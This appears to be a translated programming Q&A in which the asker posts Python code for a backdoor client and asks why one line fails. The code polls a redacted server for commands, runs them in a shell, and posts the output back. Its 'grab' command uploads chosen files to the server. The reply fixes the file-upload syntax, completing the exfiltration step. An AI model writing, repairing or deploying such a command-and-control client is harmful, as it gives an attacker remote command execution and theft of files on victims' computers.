我试图在python 3.5中的请求模块中使用post方法发送文件,我在这些行中收到错误说“无效语法”,
files = ('file':open(path,'rb'))
r = requests.post(('htttp://#########', files= files))
完整代码如下。
import requests
import subprocess
import time
import os
while True:
req = requests.get('htttp://########')
command = req.text
if 'terminate' in command:
break
elif 'grab' in command:
grab,path = command.split('*')
if os.path.exists(path):
url = 'http://#########/store'
files = ('file':open(path,'rb'))
r = requests.post(('htttp://#########', files= files))
else:
post_request = requests.post(url='htttp://#########',data='[-]
Unable to find file !')
else:
CMD = subprocess.Popen(command,shell=True, stderr=subprocess.PIPE,
stdin=subprocess.PIPE,stdout=subprocess.PIPE)
post_request=requests.post(url='htttp://########',data=CMD.stdout.read())
post_request = requests.post(url= 'htttp://######',
data=CMD.stderr.read())
time.sleep(3)
你可能想要这个:
files = {'file': open(path, 'rb')}
r = requests.post('htttp://#########', files=files)
dict
s是使用花括号而不是括号创建的,并且在调用requests.post
时参数周围有额外的括号。